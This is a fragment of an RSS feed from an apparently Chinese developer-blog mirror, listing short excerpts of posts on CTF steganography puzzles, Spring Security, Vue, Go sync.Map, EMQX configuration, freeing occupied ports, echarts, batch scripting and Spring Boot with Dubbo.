      <description>前言：不记得什么什么时候的东西了，拿出来写到CSDN上面，免得堆乱桌面。&#xA;1、PDF隐写&#xA;查看详细信息，不过什么都没有，就不放图了&#xA;啥也没有，PDF转文本看看，可能是用了什么东西夹在里面&#xA;Flag：ag&#xA;2、数据读取：&#xA;打开是这么个玩意&#xA;file查看是什么东西，发现是个数据文件&#xA;vim直接查找flag&#xA;挂在然后查看就好&#xA;3、图片隐写&#xA;先看详细信息，发现了一串数字&#xA;binwalk检测，解压&#xA;发现了一个flag不过里面没有东西，还有一个压缩包不过打开需要密码&#xA;估计那段神秘代码就是密码了，73646E6973635F32303138，带有E可能是Hex所以拿去Hex转字符看看&#xA;4、图片隐写2：&#xA;流程走一遍，没什么发现就不发图了，参考第一题的流程。Winhex打开看看，看着越看越熟悉，像是之前看过的一个解题&#xA;果然，是网鼎杯赛题。。。大致流程是PNG图片，只不过被颠倒了正常来讲png的HEX文件头为89 50 4E 47 这里是被颠倒了，所以大致上就是找文件头文件尾讲所有Hex进行提取重新排序即可&#xA;5、图片隐写3：&#xA;先查看详细信息，不过没有什么有用的东西，用binwalk看看。&#xA;好像也没有，换个工具foremost继续&#xA;分离出来了一些文件</description>
    </item>
    <item>
      <title>Spring Security 自定义登录认证</title>
      <link>https://bchobby.github.io/posts/312fbd67381721f0f2fcf37e625f73f4/</link>
      <pubDate>Fri, 28 Oct 2022 10:23:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/312fbd67381721f0f2fcf37e625f73f4/</guid>
      <description>Spring Security 自定义登录认证（扩展多种方式） https://gitee.com/markix/spring-security-multiple-auth&#xA;自定义登录认证 用户名+密码工号+密码手机号+验证码邮箱+验证码 核心组件 NameAuthProcessor 用户名+密码认证NoAuthProcessor 工号+密码认证EmailAuthProcessor 邮箱+验证码认证PhoneAuthProcessor 手机号+验证码认证 封装成一个通用框架 spring-security-login-extension&#xA;实现思路 自定义AuthenticationFilter 提供认证接口，用于构建自定义AuthenticationToken，通过自定义AuthenticationProvider对自定义AuthenticationToken进行认证将 Filter 和 Provider 组装到过滤器链中，使之生效。放行必要的路径 自定义认证抽象层 AuthProcessor：认证处理器接口，用于抽象不同认证方式！MultipleAuthenticationFilter：认证过滤器，维护多个认证处理器 List，支持多种认证MultipleAuthenticationProvider：认证提供者，实际上将认证代理给 AuthProcessorMultipleAuthenticationFilterConfigurer：自定义认证配置器，需要在 SecurityConfiguration 应用！ 示例 每种认证方式只需要实现 AuthProcessor 接口&#xA;见 spring-security-login-extension-samples 项目</description>
    </item>
    <item>
      <title>Zotero使用教程</title>
      <link>https://bchobby.github.io/posts/5767d8d57a95be447aea25e494200bb2/</link>
      <pubDate>Fri, 28 Oct 2022 10:10:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5767d8d57a95be447aea25e494200bb2/</guid>
      <description>你还在为文献管理而烦恼吗？你还在网上一条一条地搜文献的PDF然后保存到本地，苦恼于管理起来麻烦而且换了台电脑就无法访问了吗？这里推荐使用文献管理器呢，一键导入文献PDF及其相关信息，轻松管理海量文献，妈妈再也不用担心我的文献调研啦。其实除了zotero还有其他的文献管理器，这里就只介绍这一个啦&#xA;zotero软件下载后可以在word，网页中有强大的应用，可以快速导入和引用文献，绝对是文献管理的好帮手，在做文献调研时能极大的增加效率。这里记录一下昨天老师教我的zotero使用方法，和网络上的教程基本一致&#xA;Zotero插件在edge浏览器的下载和使用 Zotero插件支持多种浏览器，其中包含了Microsoft edge和Chrome，因为我懒得装VPN，就没有用Chrome浏览器。下载方式也很简单zotero下载地址.&#xA;下载Zotero到本地(左边)，再在浏览器安装插件（右边），两个都要下噢！&#xA;安装好之后没有问题就会直接在下图红圈处出现一个按钮啦！&#xA;试着使用一下这个按钮，它会自动识别在网页打开的PDF文献以及文献相关的作者信息，发表年份，发表期刊等等，只需要一键导入即可&#xA;使用实例 1.搜索你想要的文献（以我们图书馆为例）&#xA;2.找到文献来源期刊网址，打开网站&#xA;3.点击PDF，一定要在PDF页面出来后再点击按钮，否则存储到Zotero中的时候没有原文PDF&#xA;4.点击图中的小按钮&#xA;下图中IEEE Xplore Full text PDF存储的是原文PDF文件（应该是在zotero云库里面），总之换了电脑同步之后也能在另外一台电脑上访问PDF文件，IEEE Xplore Abstract Record双击后会进入第2步的网站，作者信息什么的就是在这里面读取出来的。这两个东西共同存在于一个条目下面&#xA;4.大功告成（保存到了高亮部分，作者信息，摘要什么的都在屏幕右侧）接下来就可以做笔记，添加标签啦！记得点击右上角那个绿色的同步按钮，随时保存噢！&#xA;扩展资料（Zotero 300MB的文件容量上限存储PDF文件远远不够，氪金又太贵了，120美元一年无限制容量使用权，土豪或者科研经费足够请无视，否则可以使用Zotero + 坚果云）&#xA;Zotero插件在word的下载和使用 这一步就是在写文献调研报告的时候用的了，暂时还没用到这里，用到这里的时候再更新&#xA;最后讨论一点相关的，文献调研ppt的制作</description>
    </item>
    <item>
      <title>CSS锥形渐变实现环形进度条</title>
      <link>https://bchobby.github.io/posts/99ea5b9c46b09cbc747a1184c4c1f8c5/</link>
      <pubDate>Thu, 27 Oct 2022 22:11:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/99ea5b9c46b09cbc747a1184c4c1f8c5/</guid>
      <description>10月份因为疫情原因、又开启了居家办公模式，空闲之余，与其选择“躺平”，不如去做一些有意义的事情，内心的想法驱使着我去做些什么，但是又没有合适的素材，直到接手了最近的一个可视化项目，一个图表勾起了我无限的好奇心，本着对技术死磕到底的想法，于是开启了我的探索之旅。具体的原型效果如下：&#xA;关于此类进度条的实现方式，在我之前的章节（SVG绘制圆环进度条）中也有涉及，本章则另辟蹊跷，从另一个维度简单介绍一下CSS锥形渐变（conic-gradient）在可视化图表中的应用场景。本章依旧采用vue+原生css的形式进行案例展示、在了解本章节之前，需要对vue框架、css变量、css属性conic-gradient有一定程度的认识。案例实现效果如下：&#xA;实现思路：首先从原型图入手，我们可以将效果图进行拆分，背景圆环+进度圆环+进度条开始处小圆点（和边框一样大小、模拟圆角效果）+进度尾部圆点+进度尾部小眼睛+进度条中心内容。因此我们只需要将以上几个小功能点实现即可&#xA;1.背景圆环：div添加背景颜色+圆角&#xA;2.进度圆环：使用css属性conic-gradient进行进度控制&#xA;3.进度条开始处小圆点：使用伪元素（::before或::after）或div均可，定位解决&#xA;4.进度条尾部圆点：相当于在一个指针上添加一个小球，然后将指针根据数值旋转一定的角度&#xA;5.进度尾部小眼睛：使用指针头部小球元素的伪元素进行定位&#xA;6.进度条中心内容：可根据需要，使用插槽的形式解决&#xA;首先看一下前两个图表的具体实现细节：&#xA;&amp;lt;!-- demo1.vue --&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;chart-box&#34; :style=&#34;styObj&#34;&amp;gt; &amp;lt;!-- 进度条部分 --&amp;gt; &amp;lt;div class=&#34;outer-box&#34;&amp;gt; &amp;lt;div class=&#34;inner-box&#34;&amp;gt; &amp;lt;div class=&#34;pointer-box&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;!-- 插槽内容 --&amp;gt; &amp;lt;div class=&#34;slot-content&#34;&amp;gt; &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; export default { props: { rate: { type: Number, default: 0, }, config: { type: Object, default: () =&amp;gt; { return {}; }, }, }, computed: { styObj() { let rate = 0; if (this.</description>
    </item>
    <item>
      <title>Go语言sync.Map</title>
      <link>https://bchobby.github.io/posts/1122340712d2023debf4ee13ccb9dcdc/</link>
      <pubDate>Thu, 27 Oct 2022 21:09:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1122340712d2023debf4ee13ccb9dcdc/</guid>
      <description>Go语言中的 map 在并发情况下，只读是线程安全的，同时读写是线程不安全的。&#xA;如果想实现并发线程安全有两种方法：&#xA;map加互斥锁或读写锁标准库sync.map（Go1.19+新特性） sync.map源码 https://github.com/golang/go/blob/master/src/sync/map.go&#xA;sync.map 实现原理及优化 利用map只读不用锁，通过冗余 read 和 dirty 两个字段将读写分离，读的数据存在只读字段 read 上，将最新写入的数据则存在 dirty 字段上，只在dirty读写上加锁，提高程序只读效率。读取时会先查询 read，不存在再查询 dirty，写入时则只写入 dirty读取 read 并不需要加锁，而读或写 dirty 都需要加锁另外有 misses 字段来统计 read 被穿透的次数（被穿透只需要读 dirty 的情况），超过一定次数则将 dirty 数据同步到 read 上对于删除数据则直接通过标记来延迟删除 具体数据结构可参考：&#xA;https://blog.csdn.net/u010853261/article/details/103848666&#xA;https://www.haohongfan.com/docs/gohandbook/sync-chapter/2021-05-10-sync-map/&#xA;sync.map 使用场景 map+Mutex： 通过Mutex互斥锁来实现多个goroutine对map的串行化访问，读写都需要通过Mutex加锁和释放锁，适用于读写比接近的场景&#xA;map+RWMutex：通过RWMutex来实现对map的读写进行读写锁分离加锁，从而实现读的并发性能提高，同Mutex相比适用于读多写少的场景&#xA;sync.Map：底层通分离读写map和原子指令来实现读的近似无锁，并通过延迟更新的方式来保证读的无锁化。读多修改少，元素增加删除频率不高的情况，在大多数情况下替代上述两种实现&#xA;sync.map 使用方法如下 package main import ( &#34;fmt&#34; &#34;sync&#34; ) func main() { var m sync.Map //添加一个元素 m.Store(1, &#34;a&#34;) m.Store(&#34;a&#34;, 2) //读取一个元素 fmt.Println(m.Load(1)) //a true fmt.Println(m.Load(&#34;a&#34;)) //2 true //读取不存在的元素 fmt.</description>
    </item>
    <item>
      <title>自己开发的vue组件打包并发布到npm，并在项目中使用</title>
      <link>https://bchobby.github.io/posts/03fa387cd38dd8c8ab3a2fc0497559fd/</link>
      <pubDate>Thu, 27 Oct 2022 20:45:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03fa387cd38dd8c8ab3a2fc0497559fd/</guid>
      <description>第一步：使用 vue init webpack-simple lyh-yan-ui 初始化项目 提示: 不要用 vue init webpack lyh-yan-ui 初始化项目，因为我们就开发个组件，不需要那么多配置，配置多了修改起来也麻烦，webpack-simple足够了。&#xA;初始项目过程中，按照提示输入项目信息，&#xA;初始化成功后，输入 npm install , npm run dev 让项目跑起来，如下图：&#xA;第二步：修改文件目录 1.在src目录下新建components文件夹，然后在此文件夹下建立你的组件文件，其中我的组件有多个，所以每个组件新建一个文件夹，比如button组件，新建button文件夹，文件夹中新建button.vue文件和index.js文件；&#xA;2.在webpack.config.js同级目录（也是该组件的根目录）下新建 index.js文件， index.js是把所有的组件文件暴露出去的出口。&#xA;修改完之后的文件目录如下图所示:&#xA;第三步：修改文件内容，配置 1.button.vue内容如下（注意要添加组件的name，后面要用到）：&#xA;//组件只是最基础的内容，自己要实现的功能自己添加 &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;button class=&#34;y-button&#34; :class=&#34;classes&#34; @click=&#34;handle&#34;&amp;gt; &amp;lt;y-icon v-if=&#34;icon&#34; :icon=&#34;icon&#34;&amp;gt;&amp;lt;/y-icon&amp;gt; &amp;lt;y-icon v-if=&#34;loading&#34; icon=&#34;y-icon-jiazaizhong&#34;&amp;gt;&amp;lt;/y-icon&amp;gt; &amp;lt;!-- 加载中按钮设置 --&amp;gt; &amp;lt;div :class=&#34;{ content: icon || loading }&#34;&amp;gt; &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script&amp;gt; import YIcon from &#34;../icon/icon.vue&#34;; export default { name: &#34;YButton&#34;, components: { YIcon, }, &amp;lt;/script&amp;gt; 2.</description>
    </item>
    <item>
      <title>uni-app的基本使用</title>
      <link>https://bchobby.github.io/posts/ed6cca254cd70db69ff64c1dd34ac178/</link>
      <pubDate>Thu, 27 Oct 2022 20:28:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ed6cca254cd70db69ff64c1dd34ac178/</guid>
      <description>1、目录结构&#xA;pages.json 文件用来对 uni-app 进行全局配置，决定页面文件的路径、窗口样式、原生的导航栏、底部的原生tabbar 等&#xA;manifest.json 文件是应用的配置文件，用于指定应用的名称、图标、权限等。&#xA;App.vue是我们的跟组件，所有页面都是在App.vue下进行切换的，是页面入口文件，可以调用应用的生命周期函数。&#xA;main.js是我们的项目入口文件，主要作用是初始化vue实例并使用需要的插件。&#xA;uni.scss文件的用途是为了方便整体控制应用的风格。比如按钮颜色、边框风格，uni.scss文件里预置了一批scss变量预置。&#xA;pages所有的页面存放目录&#xA;static静态资源目录，例如图片等&#xA;components组件存放目录&#xA;2、条件注释定义&#xA;条件编译是用特殊的注释作为标记，在编译时根据这些特殊的注释，将注释里面的代码编译到不同平台。&#xA;条件注释的语法&#xA;写法：以 #ifdef 或 #ifndef 加 %PLATFORM% 开头，以 #endif 结尾。&#xA;#ifdef：if defined 仅在某平台存在&#xA;#ifndef：if not defined 除了某平台均存在&#xA;%PLATFORM%：平台名称 例：APP-PLUS 仅出现在 App 平台下的代码&#xA;3、事件总线&#xA;除了父子组件传参之外，兄弟组件之间共享信息也是我们经常会遇到的。如果遇到这类问题，我们现在可以借助vuex，或者把数据统一放在他们父组件中处理。这两种方式都可以解决兄弟组件传递信息的问题。我们今天要介绍的是另一种方式-事件总线，事件总线也是我们开发过程中经常会用到的一种开发模式。&#xA;什么是事件总线？&#xA;事件总线可以作为组件沟通的桥梁，就像是所有组件共用相同的事件中心，可以向该中心注册发送事件或接收事件，所以组件都可以上下平行地通知其他组件，但也就是太方便所以若使用不慎，就会造成难以维护的灾难，因此才需要更完善的Vuex作为状态管理中心，将通知的概念上升到共享状态层次。&#xA;用法：&#xA;父元素中&#xA;在son中定义&#xA;uni.$emit(&#39;update&#39;,{msg:&#39;页面更新&#39;}) 在son1的生命周期写上下面代码 uni.$on(&#39;update&#39;,function(data){&#xA;console.log(&#39;监听到事件来自 update ，携带参数 msg 为：&#39; + data.msg);&#xA;})</description>
    </item>
    <item>
      <title>EMQX配置 用户名和密码认证方式连接</title>
      <link>https://bchobby.github.io/posts/fbfb610f2dca47d0e30e500a17a76629/</link>
      <pubDate>Thu, 27 Oct 2022 19:15:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbfb610f2dca47d0e30e500a17a76629/</guid>
      <description>1, 找到mqtt 的 /etc/plugins/ 文件夹下的emqx_auth_mnesia.conf 文件&#xA;2 ,vim打开编辑该文件 根据例子添加账号密码 并保存&#xA;auth.user.1.username = xxx auth.user.1.password = 123456 3, 打开EMQX后台, 找到插件 ,启动该插件, 随后就可以了&#xA;4,修改etc/emqx.conf 配置文件 如下&#xA;下面是禁用匿名连接,禁用之后, 配置的 账号密码才能生效&#xA;vim 查找 /allow_anonymous&#xA;# etc/emqx.conf ## Allow anonymous authentication by default if no auth plugins loaded. ## Notice: Disable the option in production deployment! ## ## Value: true | false allow_anonymous = false ## Allow or deny if no ACL rules matched. ## ## Value: allow | deny acl_nomatch = deny 5, 重启emqtt服务,生效</description>
    </item>
    <item>
      <title>tomcat端口号被占用</title>
      <link>https://bchobby.github.io/posts/1e3a25eab200c44fb33594dbc4d09e7a/</link>
      <pubDate>Thu, 27 Oct 2022 18:52:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1e3a25eab200c44fb33594dbc4d09e7a/</guid>
      <description>这里有两种方法，第一个是通过命令窗口终止，第二个是使用任务管理器。&#xA;1、端口被占用，可以用cmd（window+R）&#xA;第一步：输入netstat -ano，找到被占用的端口号&#xA;netstat -ano 也可以输入netstat -aon|findstr &#34;端口号&#34;，来获取&#xA;例如：&#xA;netstat -aon|findstr 8080 第二步：tasklist|findstr &#34;查询出的 PID&#34;，也就是刚刚查询出的13812，输入后查到了占用8080端口的程序。&#xA;例如：&#xA;tasklist|findstr 13812 第三步：taskkill /f /t /im &#34;要结束的程序名称&#34;&#xA;例如：&#xA;taskkill /f /t /im java.exe 可以看到8080的程被终止了。&#xA;2、可以打开任务管理器，结束“javaw.exe”这个进程。&#xA;通过输入netstat -aon|findstr &#34;端口号&#34;找到对应的 “PID”&#xA;这里我找到的是14152，打开任务管理器，找到对应的PID，可以看到PID对应的的名称是java.exe&#xA;然后鼠标右键结束进程就可以了</description>
    </item>
    <item>
      <title>vue3实现three.js三维地图组件封装实现</title>
      <link>https://bchobby.github.io/posts/7ad7ba137531b5db6f190dd906670910/</link>
      <pubDate>Thu, 27 Oct 2022 17:08:59 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ad7ba137531b5db6f190dd906670910/</guid>
      <description>一、关键概念&#xA;坐标转换：d3投影坐标转换将地图坐标转换为模型坐标，转换关键代码&#xA;const projection = d3.geoMercator().center(config.projection.center).scale(config.projection.scale).translate(config.projection.translate) let [x, y] = projection([geometry.longitude, geometry.latitude]) 三维对象：存储点精灵、线、面&#xA;材质：点线面材质&#xA;光照：环境光、点光、半球光&#xA;二、包结构设计&#xA;三、封装代码类实现&#xA;/** * Created by zdh on 2022/04/27 * 功能说明：three创建地图 */ import * as THREE from &#39;three&#39; import { FontLoader } from &#39;three/examples/jsm/loaders/FontLoader&#39; import * as d3 from &#39;d3&#39; import TWEEN from &#39;@tweenjs/tween.js&#39; import { OrbitControls } from &#39;three/examples/jsm/controls/OrbitControls.js&#39; import { CSM } from &#39;three/examples/jsm/csm/CSM.js&#39; import { CSMHelper } from &#39;three/examples/jsm/csm/CSMHelper.js&#39; import { config } from &#39;.</description>
    </item>
    <item>
      <title>Android 集成FCM(Google 推送)导致上架失败，提前获取设备信息ANDROID ID</title>
      <link>https://bchobby.github.io/posts/2c06dab8af73521c98f9f90520b25090/</link>
      <pubDate>Thu, 27 Oct 2022 16:43:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c06dab8af73521c98f9f90520b25090/</guid>
      <description>又来记笔记 大佬们~~&#xA;近期启用之前的项目上架,首先上架的是华为市场，发现一大堆问题，各种审核被拒，搞得问候了审核员的亲戚几次，一次给你来一两条，不会全部一次性给完。奈何别人的大公司....&#xA;大致总结了审核失败的一些原因：&#xA;1、申请的应用权限必须在隐私政策中说明使用内容、使用场景、使用方式。&#xA;2、应用中如是有账号登录注册的，同时也需要有账户注销功能；&#xA;3、应用中有聊天相关的，必须要有举报功能；&#xA;4、所有的权限获取必须在同意隐私政策之后再获取；&#xA;5、应用截图不能有测试数据；&#xA;........还有很多就不说了。&#xA;本文主要说的是国内应用想上架，一定不要集成 FCM(Google 推送)&#xA;FCM(Google 推送) 会在应用启动的时候获取设备信息ANDROID ID 导致各大平台审核不给过。&#xA;也是集成了这个搞得我弄了好久，一直以为是其他问题，原来是这个鬼东西。</description>
    </item>
    <item>
      <title>Centos查看端口占用情况</title>
      <link>https://bchobby.github.io/posts/f71c6baa3298692b0d6d1a1e94bd333c/</link>
      <pubDate>Thu, 27 Oct 2022 16:24:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f71c6baa3298692b0d6d1a1e94bd333c/</guid>
      <description> #使用yum安装lsof命令 yum install lsof #Centos查看端口占用情况命令，比如查看80端口占用情况使用如下命令： lsof -i tcp:80 #列出所有端口 netstat -ntlp #1、检查端口被哪个进程占用 netstat -lnp|grep 88 #88请换为你的apache需要的端口，如：80 #1.1 centos根据端口号查找对应服务及对应安装位置 netstat -antup|grep 80 （或者：netstat -ano|grep 80，windows下是：netstat -ano|findstr &#34;80&#34;） 通过进程号确定服务目录 ll /proc/13752/cwd pwdx 13752 13752 为netstat查出来的进程号. #2、查看进程的详细信息 ps 1777 #3、杀掉进程，重新启动apache kill -9 1777 #杀掉编号为1777的进程（请根据实际情况输入） service httpd start #启动apache #4、centos查看进程 ps -elf|grep hexo 或者： ps aux|grep hexo </description>
    </item>
    <item>
      <title>echarts通过dataZoom，实现x轴和y轴放大缩小，并获取缩放后的数据</title>
      <link>https://bchobby.github.io/posts/df24d1c607a07fa33bda7e9067aa9bcd/</link>
      <pubDate>Thu, 27 Oct 2022 13:30:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df24d1c607a07fa33bda7e9067aa9bcd/</guid>
      <description>echarts通过dataZoom，实现x轴和y轴放大缩小，并获取缩放后的数据&#xA;const echartZoom = () =&amp;gt; { nextTick(() =&amp;gt; { myEcharts = echarts.init(echartsKeyId.value); myEcharts.off(&#34;dataZoom&#34;); myEcharts.on(&#34;dataZoom&#34;, (params) =&amp;gt; { let zoomData = params.batch[0]; if (typeof zoomData.start != &#34;undefined&#34;) { //滚轮, 滑动条 //这里的缩放百分比是 没有 除以100的，所以需要乘以 0.01 startIndex.value = parseInt( state.option.series[0].data.length * zoomData.start * 0.01 ); seleteList.selectStartTime = state.option.series[0].data[startIndex.value]; endIndex.value = parseInt( state.option.series[0].data.length * zoomData.end * 0.01 ); seleteList.selectEndTime = state.option.series[0].data[endIndex.value]; //这里需要注意，缩放过程中会出现计算出来的索引大于数据长度的问题，所以这里判断一下 endIndex.value = endIndex.value &amp;gt; state.option.series[0].data.length - 1 ? state.option.series[0].data.length - 1 : endIndex.</description>
    </item>
    <item>
      <title>Micosoft Visual C&#43;&#43; Runtime Library Runtime Error! Program: E:\UserschenliqunAnaconda3\python.exe</title>
      <link>https://bchobby.github.io/posts/d8480260ce26578f25bdbc71995a1d99/</link>
      <pubDate>Thu, 27 Oct 2022 11:02:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8480260ce26578f25bdbc71995a1d99/</guid>
      <description>pycharm跑项目出现Microsoft Visual C++ Runtime Library&#xA;Runtime Error!&#xA;Program: E:\Users\Anaconda3\python.exe&#xA;R6034&#xA;An application has made an attempt to load the C runtime library incorrectly.&#xA;Please contact the application’s support team for more information.&#xA;最快解决方法&#xA;解决步骤：&#xA;1.整个电脑搜索msvcr90.dll&#xA;2.删除问题提示路径下所有msvcr90.dll&#xA;3.重新打开pycharm，项目正常运行</description>
    </item>
    <item>
      <title>CSS-元素的显示与隐藏</title>
      <link>https://bchobby.github.io/posts/242c1be5f2b630e0eab83719f29c7562/</link>
      <pubDate>Thu, 27 Oct 2022 10:56:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/242c1be5f2b630e0eab83719f29c7562/</guid>
      <description> 目录&#xA;🎉使用场景🎉&#xA;🎃 display属性🎃&#xA;🎋 visibility 可见性🎋&#xA;🎍 overflow 溢出🎍&#xA;🙂博主个人兴趣🙂&#xA;🎉使用场景🎉 案例 网站广告 当我们点击关闭就不见了 重新刷新页面 广告又会出现&#xA;本质:让一个元素在页面中隐藏或者显示出来&#xA;🎃 display属性🎃 display设置一个元素应如何显示&#xA;display:none; 隐藏对象display:block; 1.转换为块级元素 2.显示元素 display隐藏元素后,不再占有原来的位置&#xA;实践&#xA;🎋 visibility 可见性🎋 visibility:vsible; 元素可视visibility:hidden; 元素隐藏 visibility隐藏元素后,继续占有原来的位置&#xA;实践&#xA;🎍 overflow 溢出🎍 overflow属性指定了如果内容溢出一个元素的框(所规定的高度及宽度)时,会发生什么.&#xA;属性描述visible不剪切内容也不添加滚动条hidden不显示超过对象尺寸的内容,超出的部分隐藏掉scroll不管超出内容与否,总显示滚动条auto超出自动显示滚动条,不超出不显示滚动条 一般情况下,我们都不想让溢出的内容显示出来,溢出部分会影响布局.&#xA;如果盒子有定位,慎用overflow:hidden; 因为它会隐藏多余的部分.&#xA;案例:如果父级元素不设置宽高，实际宽高则由内容撑开。倘若子元素设置绝对定位，则子元素脱离文档流，那么父元素高度为0。如果父元素再设置定位，并且设置overflow: hidden。则此时子元素会消失（看不见啦）&#xA;实践&#xA;🙂博主个人兴趣🙂 </description>
    </item>
    <item>
      <title>bat常规脚本命令(用到才会写,未完待续10/27)</title>
      <link>https://bchobby.github.io/posts/4f45214f5b15310eae15372be63b48b1/</link>
      <pubDate>Thu, 27 Oct 2022 10:49:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4f45214f5b15310eae15372be63b48b1/</guid>
      <description>文章目录 一、rem和::二、call和start1）区别2）cal使用示例3）start使用场景 三、pause四、for循环1）基本格式2）参数解释3）FOR循环的4个参数 /d /l /r /f 五、tasklist&amp;amp;taskkill进程管理 一、rem和:: 区别&#xA;1）rem：注释，支持echo回显；&#xA;2）::：注释，不支持echo回显，不能在()语句块中使用。&#xA;3）扩展：冒号后紧跟一个非字母数字的一个特殊符号其实都等价于双冒号，目的是使goto无法识别；&#xA;例子&#xA;@echo on rem 这是注释内容，由于指定了echo on，命令行会打印这段注释 :: 这也是注释内容，但是不支持回显 @echo off 二、call和start 1）区别 1）call：调用另一个批处理文件，如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令；&#xA;2）start：批处理中调用外部程序的命令（该外部程序在新窗口中运行，批处理程序继续往下执行，不理会外部程序的运行状况），如果直接运行外部程序则必须等外部程序完成后才继续执行剩下的指令&#xA;2）cal使用示例 1）调用脚本&#xA;:: 调用另一个脚本，并在执行结束后返回本脚本 :: filename 参数必须具有 .bat 或 .cmd 扩展名 call autoexec.bat 参数1 参数2 2）调用命令行字符串&#xA;:: 如果不用call，而直接运行%cmdstr%，将显示结果%aa%，而不是123456 set aa=123456 set cmdstr=echo %aa% call %cmdstr% pause 3）调用带返回值的子程序&#xA;这里重点关注getSum中shift的用法，默认右移1位，即shift等价于shift /1。&#xA;以本demo为例：%1在没有右移时表示第一个入参，在shift /1之后，%1指向的是原%2的入参。&#xA;@echo off rem 调用getString子程序 call :getString return echo return = %return% pause @echo off set sum=0 call :getSum 1 2 3 4 5 echo sum = %sum% pause goto :eof rem 利用入参实现返回值 :getString set %1=from sub script goto :eof rem 利用全局变量实现返回值 :getSum set /a sum+=%1 shift /1 if not &#34;</description>
    </item>
    <item>
      <title>手把手教你使用Springboot整合dubbo，搭建一个微服务</title>
      <link>https://bchobby.github.io/posts/16062f3ee1b67bd9a0a50a568818fada/</link>
      <pubDate>Thu, 27 Oct 2022 09:57:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/16062f3ee1b67bd9a0a50a568818fada/</guid>
      <description>文章目录 开发前提构建Springboot项目开发api模块开发生产者模块第一步：导入依赖第二步：添加配置第三步：编写启动类第四步：添加mapper接口第五步：实现接口：第六步：编写controller层接口 开发消费者模块第一步：导入依赖第二步：添加配置第三步：编写启动类：第四步：编写调用生产者接口 测试 开发前提 由于dubbo的注册中心用的是zookeeper，所以首先需要安装zookeeper。&#xA;构建Springboot项目 第一步：选择新建project或者module，在界面中选择maven点击next:&#xA;第二步：填上项目的基本信息点击Finish：&#xA;第三步：右击项目new -&amp;gt; Module:&#xA;第四步：在界面中选择maven点击next:&#xA;第五步：填上项目的基本信息点击Finish：&#xA;第六步：重复第三，四，五步，分别创建项目需要的dubbo-api,dubbo-provider,dubbo-customer几个模块，如下：&#xA;第七步：导入父工程依赖：&#xA;&amp;lt;?xml version=&#34;1.0&#34; encoding=&#34;UTF-8&#34;?&amp;gt; &amp;lt;project xmlns=&#34;http://maven.apache.org/POM/4.0.0&#34; xmlns:xsi=&#34;http://www.w3.org/2001/XMLSchema-instance&#34; xsi:schemaLocation=&#34;http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd&#34;&amp;gt; &amp;lt;modelVersion&amp;gt;4.0.0&amp;lt;/modelVersion&amp;gt; &amp;lt;groupId&amp;gt;com.demo&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;dubbo-demo&amp;lt;/artifactId&amp;gt; &amp;lt;packaging&amp;gt;pom&amp;lt;/packaging&amp;gt; &amp;lt;version&amp;gt;1.0-SNAPSHOT&amp;lt;/version&amp;gt; &amp;lt;modules&amp;gt; &amp;lt;module&amp;gt;dubbo-provider&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;dubbo-customer&amp;lt;/module&amp;gt; &amp;lt;module&amp;gt;dubbo-api&amp;lt;/module&amp;gt; &amp;lt;/modules&amp;gt; &amp;lt;properties&amp;gt; &amp;lt;java.version&amp;gt;1.8&amp;lt;/java.version&amp;gt; &amp;lt;source.level&amp;gt;1.8&amp;lt;/source.level&amp;gt; &amp;lt;target.level&amp;gt;1.8&amp;lt;/target.level&amp;gt; &amp;lt;lombok.version&amp;gt;1.18.16&amp;lt;/lombok.version&amp;gt; &amp;lt;skip_maven_deploy&amp;gt;true&amp;lt;/skip_maven_deploy&amp;gt; &amp;lt;spring-boot-dependencies.version&amp;gt;2.4.1&amp;lt;/spring-boot-dependencies.version&amp;gt; &amp;lt;spring-cloud-dependencies.version&amp;gt;Dalston.SR4&amp;lt;/spring-cloud-dependencies.version&amp;gt; &amp;lt;junit.version&amp;gt;4.12&amp;lt;/junit.version&amp;gt; &amp;lt;dubbo.version&amp;gt;3.0.2.1&amp;lt;/dubbo.version&amp;gt; &amp;lt;spring-dubbo.version&amp;gt;2.0.0&amp;lt;/spring-dubbo.version&amp;gt; &amp;lt;lombok.version&amp;gt;1.18.16&amp;lt;/lombok.version&amp;gt; &amp;lt;/properties&amp;gt; &amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- 统一jar版本管理，避免使用 spring-boot-parent --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-boot-dependencies.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; 